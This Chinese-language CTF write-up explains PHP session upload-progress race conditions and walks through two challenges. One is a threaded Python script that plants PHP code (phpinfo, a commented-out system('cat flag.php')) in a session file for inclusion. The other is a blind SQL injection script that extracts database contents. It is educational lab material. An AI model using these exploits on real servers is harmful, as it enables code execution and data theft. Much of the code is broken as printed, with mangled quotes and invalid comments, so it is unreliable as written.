PHP Session条件竞争超详细讲解
PHP SESSION 的存储
Session会话存储方式
PHP将session以文件的形式存储服务器的文件中，session.save_path来控制
默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件默认是/var/lib/php/sessions目录下，文件名是sess_加上sessionID字段
但是在赛题中大多数都是/tmp目录下，需要php.ini力sesion.auto_start设置为1，然后修改目录
session.auto_start：如果开启这个选项，则PHP在接收请求的时候会自动初始化Session，不再需要执行session_start()。但默认情况下，也是通常情况下，这个选项都是默认关闭的。
session.upload_progress.cleanup = on：表示当文件上传结束后，php将会立即清空对应session文件中的内容。该选项默认开启
session.use_strict_mode：默认情况下，该选项的值是0，此时用户可以自己定义Session ID。
使用 Python 实现创建 Session 文件的过程：
import io
import requests
import threading
sessid = "whoami"
def POST(session):
f = io.BytesIO(b"a" * 1024 * 50)
session.post(
"http://192.168.43.82/index.php",
data={"PHP_SESSION_UPLOAD_PROGRESS":"123"}, //用来改变session中的值
files={"file":("q.txt", f)},
cookies={"PHPSESSID":sessid} //用来sesssion中的文件名 sess_whoami
)
with requests.session() as session:
while True:
POST(session)
print("[+] 成功写入sess_whoami")
[WMCTF2020]Make PHP Great Again
<?php
highlight_file(__FILE__);
require_once "flag.php";
if(isset($_GET["file"])) {
require_once $_GET["file"];
}
这道题是文件包含，已经包含过了一次flag.php，就不能二次包含了，一种方法是软连接/proc/self/root绕过
/proc/self指向当前进程的/proc/pid/
/proc/self/root/是指向/的符号链接
这道题也可以 用条件竞争进行，
import io
import sys
import requests
import threading
host = "http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/"
sessid = "feng"
def POST(session):
while True:
f = io.BytesIO(b"a" * 1024 * 50)
session.post(
host,
data={
# "PHP_SESSION_UPLOAD_PROGRESS":"<?php system("cat flag.php");echo md5("1");?>"},
"PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5("1");?>"},//session存值
files={
"file":("a.txt", f)},
cookies={
"PHPSESSID":sessid}//改名
)
def READ(session):
while True:
response = session.get(f"{host}?file=/tmp/sess_{sessid}")//路径
# print(response.text)
if "c4ca4238a0b923820dcc509a6f75849b" not in response.text://1的md5
print("[+++]retry")
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程
t1.daemon = True //相当完成任务直接结束，不用等线程全部结束
t1.start()
READ(session)
线程结束后，想在网页获得php坏境页面可是找不到，
希望有师傅解答一下，然后这样就非常局限，
[PwnThyBytes 2019]Baby_SQL
访问源码，获得source.zip
打开后发现index.php
<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
!is_string($value) AND die("Hacking attempt!");
return addslashes($value);
}
isset($_GET["p"]) AND $_GET["p"] === "register" AND $_SERVER["REQUEST_METHOD"] === "POST" AND isset($_POST["username"]) AND isset($_POST["password"]) AND @include("templates/register.php");
isset($_GET["p"]) AND $_GET["p"] === "login" AND $_SERVER["REQUEST_METHOD"] === "GET" AND isset($_GET["username"]) AND isset($_GET["password"]) AND @include("templates/login.php");
isset($_GET["p"]) AND $_GET["p"] === "home" AND @include("templates/home.php");
?>
都要经过最后的过滤，然后通过传参p进行包含templates目录下面的文件
login.php
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include "db.php";
$sql = "SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="" . $_GET["username"] . "" and password="" . md5($_GET["password"]) . "";";
$result = $con->query($sql);
function auth($user)
{
$_SESSION["username"] = $user;
return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row["username"]) AND die("<meta http-equiv="refresh" content="0; url=?p=home" />")) OR ($con->close() AND die("Try again!"));
?>
发现就login.php里面没有过滤，然后
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
意思为如果不存在session就die输出，前面的为true才执行后面的
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
OR前面是false才执行后面的语句。然后这里的意思前面有个大的括号里有一个满足就会执行$con->close(),然后这个执行返回true的话就会执行die(“Not allowed!”);
所以如果我们要直接访问login.php进行sql注入的话，还需要带上一个session才行，这里边用上了我们的PHP_SESSION_UPLOAD_PROGRESS了。我们可以使用PHP_SESSION_UPLOAD_PROGRESS来在目标服务器上初始化一个session，然后便可以绕过index.php中的检测，直接访问login.php进行sql注入了。
import requests
url = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"
//这个templates是因为login.php在这个目录下面
files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"}, params={"username": "test", "password": "test"},
proxies={"http": "http://127.0.0.1:8080"})通过这个接口，burp就可以抓包到
print(a.text)
然后对username进行注入，发现是用"进行闭合,然后回显，可以用盲注实现
<meta http-equiv="refresh" content="0; url=?p=home" />
import requests
import time
url = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"
files = {"file": "123456789"}
flag=""
for i in range(1,100):
low = 32
high = 128
mid = (low+high)//2
while (low < high):
time.sleep(0.06)
#payload_flag ={"username": "test\" or (ascii(substr((select
group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),"password": "test"}
payload_flag = {
"username": "test" or (ascii(substr(database(),{0},1))>{1}) #".format(i,mid),"password": "test"}
r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"})
print(payload_flag)
if "<meta http-equiv="refresh" content="0; url=?p=home" />" in r.text:
low = mid +1
else:
high = mid
mid = (low + high) // 2
if(mid==32 ):
break
flag +=chr(mid)
print(flag)
print(flag)
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